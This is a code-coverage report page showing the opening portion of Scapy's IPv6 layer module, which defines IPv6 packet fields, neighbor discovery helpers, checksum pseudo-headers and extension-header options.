Coverage for /pythoncovmergedfiles/medio/medio/usr/local/lib/python3.11/site-packages/scapy/layers/inet6.py: 53%
Shortcuts on this page
r m x toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SPDX-License-Identifier: GPL-2.0-only
2# This file is part of Scapy
3# See https://scapy.net/ for more information
4# Copyright (C) Guillaume Valadon <guedou@hongo.wide.ad.jp>
5# Copyright (C) Arnaud Ebalard <arnaud.ebalard@eads.net>
7# Cool history about this file: http://natisbad.org/scapy/index.html
10"""
11IPv6 (Internet Protocol v6).
12"""
15from hashlib import md5
16import random
17import socket
18import struct
19from time import gmtime, strftime
21from scapy.arch import get_if_hwaddr
22from scapy.as_resolvers import AS_resolver_riswhois
23from scapy.base_classes import Gen, _ScopedIP
24from scapy.compat import chb, raw, plain_str, bytes_encode
25from scapy.consts import WINDOWS, OPENBSD
26from scapy.config import conf
27from scapy.data import (
28 DLT_IPV6,
29 DLT_RAW,
30 DLT_RAW_ALT,
31 ETHER_ANY,
32 ETH_P_ALL,
33 ETH_P_IPV6,
34 MTU,
35)
36from scapy.error import log_runtime, warning
37from scapy.fields import (
38 BitEnumField,
39 BitField,
40 ByteEnumField,
41 ByteField,
42 DestIP6Field,
43 FieldLenField,
44 FlagsField,
45 IntField,
46 IP6Field,
47 LongField,
48 MACField,
49 MayEnd,
50 PacketLenField,
51 PacketListField,
52 ShortEnumField,
53 ShortField,
54 SourceIP6Field,
55 StrField,
56 StrFixedLenField,
57 StrLenField,
58 X3BytesField,
59 XBitField,
60 XByteField,
61 XIntField,
62 XShortField,
63)
64from scapy.layers.inet import (
65 _ICMPExtensionField,
66 _ICMPExtensionPadField,
67 _ICMP_extpad_post_dissection,
68 IP,
69 IPTools,
70 TCP,
71 TCPerror,
72 TracerouteResult,
73 UDP,
74 UDPerror,
75)
76from scapy.layers.l2 import (
77 CookedLinux,
78 Ether,
79 GRE,
80 Loopback,
81 SNAP,
82 SourceMACField,
83)
84from scapy.packet import bind_layers, Packet, Raw
85from scapy.sendrecv import sendp, sniff, sr, srp1
86from scapy.supersocket import SuperSocket
87from scapy.utils import checksum, strxor
88from scapy.pton_ntop import inet_pton, inet_ntop
89from scapy.utils6 import in6_getnsma, in6_getnsmac, in6_isaddr6to4, \
90 in6_isaddrllallnodes, in6_isaddrllallservers, in6_isaddrTeredo, \
91 in6_isllsnmaddr, in6_ismaddr, Net6, teredoAddrExtractInfo
92from scapy.volatile import RandInt, RandShort
94# Typing
95from typing import (
96 Optional,
97)
99if not socket.has_ipv6:
100 raise socket.error("can't use AF_INET6, IPv6 is disabled")
101if not hasattr(socket, "IPPROTO_IPV6"):
102 # Workaround for http://bugs.python.org/issue6926
103 socket.IPPROTO_IPV6 = 41
104if not hasattr(socket, "IPPROTO_IPIP"):
105 # Workaround for https://bitbucket.org/secdev/scapy/issue/5119
106 socket.IPPROTO_IPIP = 4
108if conf.route6 is None:
109 # unused import, only to initialize conf.route6
110 import scapy.route6 # noqa: F401
112##########################
113# Neighbor cache stuff #
114##########################
116conf.netcache.new_cache("in6_neighbor", 120)
119@conf.commands.register
120def neighsol(addr, src, iface, timeout=1, chainCC=0):
121 """Sends and receive an ICMPv6 Neighbor Solicitation message
123 This function sends an ICMPv6 Neighbor Solicitation message
124 to get the MAC address of the neighbor with specified IPv6 address address.
126 'src' address is used as the source IPv6 address of the message. Message
127 is sent on 'iface'. The source MAC address is retrieved accordingly.
129 By default, timeout waiting for an answer is 1 second.
131 If no answer is gathered, None is returned. Else, the answer is
132 returned (ethernet frame).
133 """
135 nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr))
136 d = inet_ntop(socket.AF_INET6, nsma)
137 dm = in6_getnsmac(nsma)
138 sm = get_if_hwaddr(iface)
139 p = Ether(dst=dm, src=sm) / IPv6(dst=d, src=src, hlim=255)
140 p /= ICMPv6ND_NS(tgt=addr)
141 p /= ICMPv6NDOptSrcLLAddr(lladdr=sm)
142 res = srp1(p, type=ETH_P_IPV6, iface=iface, timeout=timeout, verbose=0,
143 chainCC=chainCC)
145 return res
148@conf.commands.register
149def getmacbyip6(ip6, chainCC=0):
150 # type: (str, int) -> Optional[str]
151 """
152 Returns the MAC address of the next hop used to reach a given IPv6 address.
154 neighborCache.get() method is used on instantiated neighbor cache.
155 Resolution mechanism is described in associated doc string.
157 (chainCC parameter value ends up being passed to sending function
158 used to perform the resolution, if needed)
160 .. seealso:: :func:`~scapy.layers.l2.getmacbyip` for IPv4.
161 """
162 # Sanitize the IP
163 if isinstance(ip6, Net6):
164 ip6 = str(ip6)
166 # Multicast
167 if in6_ismaddr(ip6): # mcast @
168 mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6))
169 return mac
171 iff, a, nh = conf.route6.route(ip6)
173 if iff == conf.loopback_name:
174 return "ff:ff:ff:ff:ff:ff"
176 if nh != '::':
177 ip6 = nh # Found next hop
179 mac = conf.netcache.in6_neighbor.get(ip6)
180 if mac:
181 return mac
183 res = neighsol(ip6, a, iff, chainCC=chainCC)
185 if res is not None:
186 if ICMPv6NDOptDstLLAddr in res:
187 mac = res[ICMPv6NDOptDstLLAddr].lladdr
188 else:
189 mac = res.src
190 conf.netcache.in6_neighbor[ip6] = mac
191 return mac
193 return None
196#############################################################################
197#############################################################################
198# IPv6 Class #
199#############################################################################
200#############################################################################
202ipv6nh = {0: "Hop-by-Hop Option Header",
203 4: "IP",
204 6: "TCP",
205 17: "UDP",
206 41: "IPv6",
207 43: "Routing Header",
208 44: "Fragment Header",
209 47: "GRE",
210 50: "ESP Header",
211 51: "AH Header",
212 58: "ICMPv6",
213 59: "No Next Header",
214 60: "Destination Option Header",
215 112: "VRRP",
216 132: "SCTP",
217 135: "Mobility Header"}
219ipv6nhcls = {0: "IPv6ExtHdrHopByHop",
220 4: "IP",
221 6: "TCP",
222 17: "UDP",
223 43: "IPv6ExtHdrRouting",
224 44: "IPv6ExtHdrFragment",
225 50: "ESP",
226 51: "AH",
227 58: "ICMPv6Unknown",
228 59: "Raw",
229 60: "IPv6ExtHdrDestOpt"}
232class IP6ListField(StrField):
233 __slots__ = ["count_from", "length_from"]
234 islist = 1
236 def __init__(self, name, default, count_from=None, length_from=None):
237 if default is None:
238 default = []
239 StrField.__init__(self, name, default)
240 self.count_from = count_from
241 self.length_from = length_from
243 def i2len(self, pkt, i):
244 return 16 * len(i)
246 def i2count(self, pkt, i):
247 if isinstance(i, list):
248 return len(i)
249 return 0
251 def getfield(self, pkt, s):
252 c = tmp_len = None
253 if self.length_from is not None:
254 tmp_len = self.length_from(pkt)
255 elif self.count_from is not None:
256 c = self.count_from(pkt)
258 lst = []
259 ret = b""
260 remain = s
261 if tmp_len is not None:
262 remain, ret = s[:tmp_len], s[tmp_len:]
263 while remain:
264 if c is not None:
265 if c <= 0:
266 break
267 c -= 1
268 addr = inet_ntop(socket.AF_INET6, remain[:16])
269 lst.append(addr)
270 remain = remain[16:]
271 return remain + ret, lst
273 def i2m(self, pkt, x):
274 s = b""
275 for y in x:
276 try:
277 y = inet_pton(socket.AF_INET6, y)
278 except Exception:
279 y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0]
280 y = inet_pton(socket.AF_INET6, y)
281 s += y
282 return s
284 def i2repr(self, pkt, x):
285 s = []
286 if x is None:
287 return "[]"
288 for y in x:
289 s.append('%s' % y)
290 return "[ %s ]" % (", ".join(s))
293class _IPv6GuessPayload:
294 name = "Dummy class that implements guess_payload_class() for IPv6"
296 def default_payload_class(self, p):
297 if self.nh == 58: # ICMPv6
298 t = p[0]
299 if len(p) > 2 and (t == 139 or t == 140): # Node Info Query
300 return _niquery_guesser(p)
301 if len(p) >= icmp6typesminhdrlen.get(t, float("inf")): # Other ICMPv6 messages # noqa: E501
302 if t == 130 and len(p) >= 28:
303 # RFC 3810 - 8.1. Query Version Distinctions
304 return ICMPv6MLQuery2
305 return icmp6typescls.get(t, Raw)
306 return Raw
307 elif self.nh == 135 and len(p) > 3: # Mobile IPv6
308 return _mip6_mhtype2cls.get(p[2], MIP6MH_Generic)
309 elif self.nh == 43 and p[2] == 4: # Segment Routing header
310 return IPv6ExtHdrSegmentRouting
311 return ipv6nhcls.get(self.nh, Raw)
314class IPv6(_IPv6GuessPayload, Packet, IPTools):
315 name = "IPv6"
316 fields_desc = [BitField("version", 6, 4),
317 BitField("tc", 0, 8),
318 BitField("fl", 0, 20),
319 ShortField("plen", None),
320 ByteEnumField("nh", 59, ipv6nh),
321 ByteField("hlim", 64),
322 SourceIP6Field("src"),
323 DestIP6Field("dst", "::1")]
325 def route(self):
326 """Used to select the L2 address"""
327 dst = self.dst
328 scope = None
329 if isinstance(dst, (Net6, _ScopedIP)):
330 scope = dst.scope
331 if isinstance(dst, (Gen, list)):
332 dst = next(iter(dst))
333 return conf.route6.route(dst, dev=scope)
335 def mysummary(self):
336 return "%s > %s (%i)" % (self.src, self.dst, self.nh)
338 def post_build(self, p, pay):
339 p += pay
340 if self.plen is None:
341 tmp_len = len(p) - 40
342 p = p[:4] + struct.pack("!H", tmp_len) + p[6:]
343 return p
345 def extract_padding(self, data):
346 """Extract the IPv6 payload"""
348 if self.plen == 0 and self.nh == 0 and len(data) >= 8:
349 # Extract Hop-by-Hop extension length
350 hbh_len = data[1]
351 hbh_len = 8 + hbh_len * 8
353 # Extract length from the Jumbogram option
354 # Note: the following algorithm take advantage of the Jumbo option
355 # mandatory alignment (4n + 2, RFC2675 Section 2)
356 jumbo_len = None
357 idx = 0
358 offset = 4 * idx + 2
359 while offset <= len(data):
360 opt_type = data[offset]
361 if opt_type == 0xc2: # Jumbo option
362 jumbo_len = struct.unpack("I", data[offset + 2:offset + 2 + 4])[0] # noqa: E501
363 break
364 offset = 4 * idx + 2
365 idx += 1
367 if jumbo_len is None:
368 log_runtime.info("Scapy did not find a Jumbo option")
369 jumbo_len = 0
371 tmp_len = hbh_len + jumbo_len
372 else:
373 tmp_len = self.plen
375 return data[:tmp_len], data[tmp_len:]
377 def hashret(self):
378 if self.nh == 58 and isinstance(self.payload, _ICMPv6):
379 if self.payload.type < 128:
380 return self.payload.payload.hashret()
381 elif (self.payload.type in [133, 134, 135, 136, 144, 145]):
382 return struct.pack("B", self.nh) + self.payload.hashret()
384 if not conf.checkIPinIP and self.nh in [4, 41]: # IP, IPv6
385 return self.payload.hashret()
387 nh = self.nh
388 sd = self.dst
389 ss = self.src
390 if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting):
391 # With routing header, the destination is the last
392 # address of the IPv6 list if segleft > 0
393 nh = self.payload.nh
394 try:
395 sd = self.addresses[-1]
396 except IndexError:
397 sd = '::1'
398 # TODO: big bug with ICMPv6 error messages as the destination of IPerror6 # noqa: E501
399 # could be anything from the original list ...
400 if 1:
401 sd = inet_pton(socket.AF_INET6, sd)
402 for a in self.addresses:
403 a = inet_pton(socket.AF_INET6, a)
404 sd = strxor(sd, a)
405 sd = inet_ntop(socket.AF_INET6, sd)
407 if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting): # noqa: E501
408 # With segment routing header (rh == 4), the destination is
409 # the first address of the IPv6 addresses list
410 try:
411 sd = self.addresses[0]
412 except IndexError:
413 sd = self.dst
415 if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment):
416 nh = self.payload.nh
418 if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop):
419 nh = self.payload.nh
421 if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt):
422 foundhao = None
423 for o in self.payload.options:
424 if isinstance(o, HAO):
425 foundhao = o
426 if foundhao:
427 ss = foundhao.hoa
428 nh = self.payload.nh # XXX what if another extension follows ?
430 if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd):
431 sd = inet_pton(socket.AF_INET6, sd)
432 ss = inet_pton(socket.AF_INET6, ss)
433 return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret() # noqa: E501
434 else:
435 return struct.pack("B", nh) + self.payload.hashret()
437 def answers(self, other):
438 if not conf.checkIPinIP: # skip IP in IP and IPv6 in IP
439 if self.nh in [4, 41]:
440 return self.payload.answers(other)
441 if isinstance(other, IPv6) and other.nh in [4, 41]:
442 return self.answers(other.payload)
443 if isinstance(other, IP) and other.proto in [4, 41]:
444 return self.answers(other.payload)
445 if not isinstance(other, IPv6): # self is reply, other is request
446 return False
447 if conf.checkIPaddr:
448 # ss = inet_pton(socket.AF_INET6, self.src)
449 sd = inet_pton(socket.AF_INET6, self.dst)
450 os = inet_pton(socket.AF_INET6, other.src)
451 od = inet_pton(socket.AF_INET6, other.dst)
452 # request was sent to a multicast address (other.dst)
453 # Check reply destination addr matches request source addr (i.e
454 # sd == os) except when reply is multicasted too
455 # XXX test mcast scope matching ?
456 if in6_ismaddr(other.dst):
457 if in6_ismaddr(self.dst):
458 if ((od == sd) or
459 (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))): # noqa: E501
460 return self.payload.answers(other.payload)
461 return False
462 if (os == sd):
463 return self.payload.answers(other.payload)
464 return False
465 elif (sd != os): # or ss != od): <- removed for ICMP errors
466 return False
467 if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128: # noqa: E501
468 # ICMPv6 Error message -> generated by IPv6 packet
469 # Note : at the moment, we jump the ICMPv6 specific class
470 # to call answers() method of erroneous packet (over
471 # initial packet). There can be cases where an ICMPv6 error
472 # class could implement a specific answers method that perform
473 # a specific task. Currently, don't see any use ...
474 return self.payload.payload.answers(other)
475 elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop):
476 return self.payload.answers(other.payload)
477 elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment):
478 return self.payload.answers(other.payload.payload)
479 elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting):
480 return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting # noqa: E501
481 elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting): # noqa: E501
482 return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting # noqa: E501
483 elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt):
484 # Extension Headers can show weird behavior.
485 # Linux's sk_buff considers the IPv6 Payload
486 # to be either TCP, UDP or ICMP. It does not
487 # consider Extension Headers to be the payload.
488 # Following similar architecture, this small
489 # modification lets packet flow with Destination
490 # Option on both, request and response packets
491 # be captured as well.
492 if UDP in self and UDP in other:
493 return self[UDP].answers(other[UDP])
494 elif TCP in self and TCP in other:
495 return self[TCP].answers(other[TCP])
496 else:
497 return self.payload.answers(other.payload.payload)
498 elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance # noqa: E501
499 return self.payload.payload.answers(other.payload)
500 else:
501 if (self.nh != other.nh):
502 return False
503 return self.payload.answers(other.payload)
506class IPv46(IP, IPv6):
507 """
508 This class implements a dispatcher that is used to detect the IP version
509 while parsing Raw IP pcap files.
510 """
511 name = "IPv4/6"
513 @classmethod
514 def dispatch_hook(cls, _pkt=None, *_, **kargs):
515 if _pkt:
516 if _pkt[0] >> 4 == 6:
517 return IPv6
518 elif kargs.get("version") == 6:
519 return IPv6
520 return IP
523def inet6_register_l3(l2, l3):
524 """
525 Resolves the default L2 destination address when IPv6 is used.
526 """
527 return getmacbyip6(l3.dst)
530conf.neighbor.register_l3(Ether, IPv6, inet6_register_l3)
533class IPerror6(IPv6):
534 name = "IPv6 in ICMPv6"
536 def answers(self, other):
537 if not isinstance(other, IPv6):
538 return False
539 sd = inet_pton(socket.AF_INET6, self.dst)
540 ss = inet_pton(socket.AF_INET6, self.src)
541 od = inet_pton(socket.AF_INET6, other.dst)
542 os = inet_pton(socket.AF_INET6, other.src)
544 # Make sure that the ICMPv6 error is related to the packet scapy sent
545 if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128:
547 # find upper layer for self (possible citation)
548 selfup = self.payload
549 while selfup is not None and isinstance(selfup, _IPv6ExtHdr):
550 selfup = selfup.payload
552 # find upper layer for other (initial packet). Also look for RH
553 otherup = other.payload
554 request_has_rh = False
555 while otherup is not None and isinstance(otherup, _IPv6ExtHdr):
556 if isinstance(otherup, IPv6ExtHdrRouting):
557 request_has_rh = True
558 otherup = otherup.payload
560 if ((ss == os and sd == od) or # < Basic case
561 (ss == os and request_has_rh)):
562 # ^ Request has a RH : don't check dst address
564 # Let's deal with possible MSS Clamping
565 if (isinstance(selfup, TCP) and
566 isinstance(otherup, TCP) and
567 selfup.options != otherup.options): # seems clamped
569 # Save fields modified by MSS clamping
570 old_otherup_opts = otherup.options
571 old_otherup_cksum = otherup.chksum
572 old_otherup_dataofs = otherup.dataofs
573 old_selfup_opts = selfup.options
574 old_selfup_cksum = selfup.chksum
575 old_selfup_dataofs = selfup.dataofs
577 # Nullify them
578 otherup.options = []
579 otherup.chksum = 0
580 otherup.dataofs = 0
581 selfup.options = []
582 selfup.chksum = 0
583 selfup.dataofs = 0
585 # Test it and save result
586 s1 = raw(selfup)
587 s2 = raw(otherup)
588 tmp_len = min(len(s1), len(s2))
589 res = s1[:tmp_len] == s2[:tmp_len]
591 # recall saved values
592 otherup.options = old_otherup_opts
593 otherup.chksum = old_otherup_cksum
594 otherup.dataofs = old_otherup_dataofs
595 selfup.options = old_selfup_opts
596 selfup.chksum = old_selfup_cksum
597 selfup.dataofs = old_selfup_dataofs
599 return res
601 s1 = raw(selfup)
602 s2 = raw(otherup)
603 tmp_len = min(len(s1), len(s2))
604 return s1[:tmp_len] == s2[:tmp_len]
606 return False
608 def mysummary(self):
609 return Packet.mysummary(self)
612#############################################################################
613#############################################################################
614# Upper Layer Checksum computation #
615#############################################################################
616#############################################################################
618class PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation
619 name = "Pseudo IPv6 Header"
620 fields_desc = [IP6Field("src", "::"),
621 IP6Field("dst", "::"),
622 IntField("uplen", None),
623 BitField("zero", 0, 24),
624 ByteField("nh", 0)]
627def in6_pseudoheader(nh, u, plen):
628 # type: (int, IP, int) -> PseudoIPv6
629 """
630 Build an PseudoIPv6 instance as specified in RFC 2460 8.1
632 This function operates by filling a pseudo header class instance
633 (PseudoIPv6) with:
634 - Next Header value
635 - the address of _final_ destination (if some Routing Header with non
636 segleft field is present in underlayer classes, last address is used.)
637 - the address of _real_ source (basically the source address of an
638 IPv6 class instance available in the underlayer or the source address
639 in HAO option if some Destination Option header found in underlayer
640 includes this option).
641 - the length is the length of provided payload string ('p')
643 :param nh: value of upper layer protocol
644 :param u: upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
645 provided with all under layers (IPv6 and all extension headers,
646 for example)
647 :param plen: the length of the upper layer and payload
648 """
649 ph6 = PseudoIPv6()
650 ph6.nh = nh
651 rthdr = 0
652 hahdr = 0
653 final_dest_addr_found = 0
654 while u is not None and not isinstance(u, IPv6):
655 if (isinstance(u, IPv6ExtHdrRouting) and
656 u.segleft != 0 and len(u.addresses) != 0 and
657 final_dest_addr_found == 0):
658 rthdr = u.addresses[-1]
659 final_dest_addr_found = 1
660 elif (isinstance(u, IPv6ExtHdrSegmentRouting) and
661 u.segleft != 0 and len(u.addresses) != 0 and
662 final_dest_addr_found == 0):
663 rthdr = u.addresses[0]
664 final_dest_addr_found = 1
665 elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and
666 isinstance(u.options[0], HAO)):
667 hahdr = u.options[0].hoa
668 u = u.underlayer
669 if u is None:
670 warning("No IPv6 underlayer to compute checksum. Leaving null.")
671 return None
672 if hahdr:
673 ph6.src = hahdr
674 else:
675 ph6.src = u.src
676 if rthdr:
677 ph6.dst = rthdr
678 else:
679 ph6.dst = u.dst
680 ph6.uplen = plen
681 return ph6
684def in6_chksum(nh, u, p):
685 """
686 As Specified in RFC 2460 - 8.1 Upper-Layer Checksums
688 See also `.in6_pseudoheader`
690 :param nh: value of upper layer protocol
691 :param u: upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
692 provided with all under layers (IPv6 and all extension headers,
693 for example)
694 :param p: the payload of the upper layer provided as a string
695 """
696 ph6 = in6_pseudoheader(nh, u, len(p))
697 if ph6 is None:
698 return 0
699 ph6s = raw(ph6)
700 return checksum(ph6s + p)
703#############################################################################
704#############################################################################
705# Extension Headers #
706#############################################################################
707#############################################################################
709nh_clserror = {socket.IPPROTO_TCP: TCPerror,
710 socket.IPPROTO_UDP: UDPerror}
713# Inherited by all extension header classes
714class _IPv6ExtHdr(_IPv6GuessPayload, Packet):
715 name = 'Abstract IPv6 Option Header'
716 aliastypes = [IPv6]
718 def guess_payload_class(self, payload):
719 if self.nh in nh_clserror:
720 underlayer = self.underlayer
721 while underlayer:
722 if isinstance(underlayer, IPerror6):
723 return nh_clserror[self.nh]
724 underlayer = underlayer.underlayer
725 return super(_IPv6ExtHdr, self).guess_payload_class(payload)
728# IPv6 options for Extension Headers #
730_hbhopts = {0x00: "Pad1",
731 0x01: "PadN",
732 0x04: "Tunnel Encapsulation Limit",
733 0x05: "Router Alert",
734 0x06: "Quick-Start",
735 0xc2: "Jumbo Payload",
736 0xc9: "Home Address Option"}
739class _OTypeField(ByteEnumField):
740 """
741 Modified BytEnumField that displays information regarding the IPv6 option
742 based on its option type value (What should be done by nodes that process
743 the option if they do not understand it ...)
745 It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options
746 """
747 pol = {0x00: "00: skip",
748 0x40: "01: discard",
749 0x80: "10: discard+ICMP",
750 0xC0: "11: discard+ICMP not mcast"}
752 enroutechange = {0x00: "0: Don't change en-route",
753 0x20: "1: May change en-route"}
755 def i2repr(self, pkt, x):
756 s = self.i2s.get(x, repr(x))
757 polstr = self.pol[(x & 0xC0)]
758 enroutechangestr = self.enroutechange[(x & 0x20)]
759 return "%s [%s, %s]" % (s, polstr, enroutechangestr)
762class HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option
763 name = "Scapy6 Unknown Option"
764 fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
765 FieldLenField("optlen", None, length_of="optdata", fmt="B"),
766 StrLenField("optdata", "",
767 length_from=lambda pkt: pkt.optlen)]
769 def alignment_delta(self, curpos): # By default, no alignment requirement
770 """
771 As specified in section 4.2 of RFC 2460, every options has
772 an alignment requirement usually expressed xn+y, meaning
773 the Option Type must appear at an integer multiple of x octets
774 from the start of the header, plus y octets.
776 That function is provided the current position from the
777 start of the header and returns required padding length.
778 """
779 return 0
781 @classmethod
782 def dispatch_hook(cls, _pkt=None, *args, **kargs):
783 if _pkt:
784 o = _pkt[0] # Option type
785 if o in _hbhoptcls:
786 return _hbhoptcls[o]
787 return cls
789 def extract_padding(self, p):
790 return b"", p
793class Pad1(Packet): # IPv6 Hop-By-Hop Option
794 name = "Pad1"
795 fields_desc = [_OTypeField("otype", 0x00, _hbhopts)]
797 def alignment_delta(self, curpos): # No alignment requirement
798 return 0
800 def extract_padding(self, p):
801 return b"", p
804class PadN(Packet): # IPv6 Hop-By-Hop Option
805 name = "PadN"
806 fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
807 FieldLenField("optlen", None, length_of="optdata", fmt="B"),
808 StrLenField("optdata", "",
809 length_from=lambda pkt: pkt.optlen)]
811 def alignment_delta(self, curpos): # No alignment requirement
812 return 0
814 def extract_padding(self, p):
815 return b"", p
818class RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option
819 name = "Router Alert"
820 fields_desc = [_OTypeField("otype", 0x05, _hbhopts),
821 ByteField("optlen", 2),
822 ShortEnumField("value", None,
823 {0: "Datagram contains a MLD message",
824 1: "Datagram contains RSVP message",
825 2: "Datagram contains an Active Network message", # noqa: E501
826 68: "NSIS NATFW NSLP",
827 69: "MPLS OAM",
828 65535: "Reserved"})]
829 # TODO : Check IANA has not defined new values for value field of RouterAlertOption # noqa: E501
830 # TODO : Now that we have that option, we should do something in MLD class that need it # noqa: E501
831 # TODO : IANA has defined ranges of values which can't be easily represented here. # noqa: E501
832 # iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml
834 def alignment_delta(self, curpos): # alignment requirement : 2n+0
835 x = 2
836 y = 0
837 delta = x * ((curpos - y + x - 1) // x) + y - curpos
838 return delta
840 def extract_padding(self, p):
841 return b"", p
844class RplOption(Packet): # RFC 6553 - RPL Option
845 name = "RPL Option"
846 fields_desc = [_OTypeField("otype", 0x63, _hbhopts),
847 ByteField("optlen", 4),
848 BitField("Down", 0, 1),
849 BitField("RankError", 0, 1),
850 BitField("ForwardError", 0, 1),
851 BitField("unused", 0, 5),
852 XByteField("RplInstanceId", 0),
853 XShortField("SenderRank", 0)]
855 def alignment_delta(self, curpos): # alignment requirement : 2n+0
856 x = 2
857 y = 0
858 delta = x * ((curpos - y + x - 1) // x) + y - curpos
859 return delta
861 def extract_padding(self, p):
862 return b"", p
865class Jumbo(Packet): # IPv6 Hop-By-Hop Option
866 name = "Jumbo Payload"
867 fields_desc = [_OTypeField("otype", 0xC2, _hbhopts),
868 ByteField("optlen", 4),
869 IntField("jumboplen", None)]
871 def alignment_delta(self, curpos): # alignment requirement : 4n+2
872 x = 4
873 y = 2
874 delta = x * ((curpos - y + x - 1) // x) + y - curpos
875 return delta
877 def extract_padding(self, p):
878 return b"", p
881class HAO(Packet): # IPv6 Destination Options Header Option
882 name = "Home Address Option"
883 fields_desc = [_OTypeField("otype", 0xC9, _hbhopts),
884 ByteField("optlen", 16),
885 IP6Field("hoa", "::")]
887 def alignment_delta(self, curpos): # alignment requirement : 8n+6
888 x = 8
889 y = 6
890 delta = x * ((curpos - y + x - 1) // x) + y - curpos
891 return delta
893 def extract_padding(self, p):
894 return b"", p
897_hbhoptcls = {0x00: Pad1,
898 0x01: PadN,
899 0x05: RouterAlert,
900 0x63: RplOption,
901 0xC2: Jumbo,
902 0xC9: HAO}
905# Hop-by-Hop Extension Header #
907class _OptionsField(PacketListField):
908 __slots__ = ["curpos"]
910 def __init__(self, name, default, cls, curpos, *args, **kargs):
911 self.curpos = curpos
912 PacketListField.__init__(self, name, default, cls, *args, **kargs)
914 def i2len(self, pkt, i):
915 return len(self.i2m(pkt, i))
917 def i2m(self, pkt, x):
918 autopad = None
919 try:
920 autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field
921 except Exception:
922 autopad = 1
924 if not autopad:
925 return b"".join(map(bytes, x))
927 curpos = self.curpos
928 s = b""
929 for p in x:
930 d = p.alignment_delta(curpos)
931 curpos += d
932 if d == 1:
933 s += raw(Pad1())
934 elif d != 0:
935 s += raw(PadN(optdata=b'\x00' * (d - 2)))
936 pstr = raw(p)
937 curpos += len(pstr)
938 s += pstr
940 # Let's make the class including our option field
941 # a multiple of 8 octets long
942 d = curpos % 8
943 if d == 0:
944 return s
945 d = 8 - d
946 if d == 1:
947 s += raw(Pad1())
948 elif d != 0:
949 s += raw(PadN(optdata=b'\x00' * (d - 2)))
951 return s
953 def addfield(self, pkt, s, val):
954 return s + self.i2m(pkt, val)
957class _PhantomAutoPadField(ByteField):
958 def addfield(self, pkt, s, val):
959 return s
961 def getfield(self, pkt, s):
962 return s, 1
964 def i2repr(self, pkt, x):
965 if x:
966 return "On"
967 return "Off"
970class IPv6ExtHdrHopByHop(_IPv6ExtHdr):
971 name = "IPv6 Extension Header - Hop-by-Hop Options Header"
972 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
973 FieldLenField("len", None, length_of="options", fmt="B",
974 adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1),
975 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
976 _OptionsField("options", [], HBHOptUnknown, 2,
977 length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)] # noqa: E501
978 overload_fields = {IPv6: {"nh": 0}}
981# Destination Option Header #
983class IPv6ExtHdrDestOpt(_IPv6ExtHdr):
984 name = "IPv6 Extension Header - Destination Options Header"
985 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
986 FieldLenField("len", None, length_of="options", fmt="B",
987 adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1),
988 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
989 _OptionsField("options", [], HBHOptUnknown, 2,
990 length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)] # noqa: E501
991 overload_fields = {IPv6: {"nh": 60}}
994# Routing Header #
996class IPv6ExtHdrRouting(_IPv6ExtHdr):
997 name = "IPv6 Option Header Routing"
998 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
999 FieldLenField("len", None, count_of="addresses", fmt="B",
1000 adjust=lambda pkt, x:2 * x), # in 8 bytes blocks # noqa: E501
1001 ByteField("type", 0),
1002 ByteField("segleft", None),
1003 BitField("reserved", 0, 32), # There is meaning in this field ... # noqa: E501
1004 IP6ListField("addresses", [],
1005 length_from=lambda pkt: 8 * pkt.len)]
1006 overload_fields = {IPv6: {"nh": 43}}
1008 def post_build(self, pkt, pay):
1009 if self.segleft is None:
1010 pkt = pkt[:3] + struct.pack("B", len(self.addresses)) + pkt[4:]
1011 return _IPv6ExtHdr.post_build(self, pkt, pay)
1014# Segment Routing Header #
1016# This implementation is based on RFC8754, but some older snippets come from:
1017# https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06
1019_segment_routing_header_tlvs = {
1020 # RFC 8754 sect 8.2
1021 0: "Pad1 TLV",
1022 1: "Ingress Node TLV", # draft 06
1023 2: "Egress Node TLV", # draft 06
1024 4: "PadN TLV",
1025 5: "HMAC TLV",
1026}
1029class IPv6ExtHdrSegmentRoutingTLV(Packet):
1030 name = "IPv6 Option Header Segment Routing - Generic TLV"
1031 # RFC 8754 sect 2.1
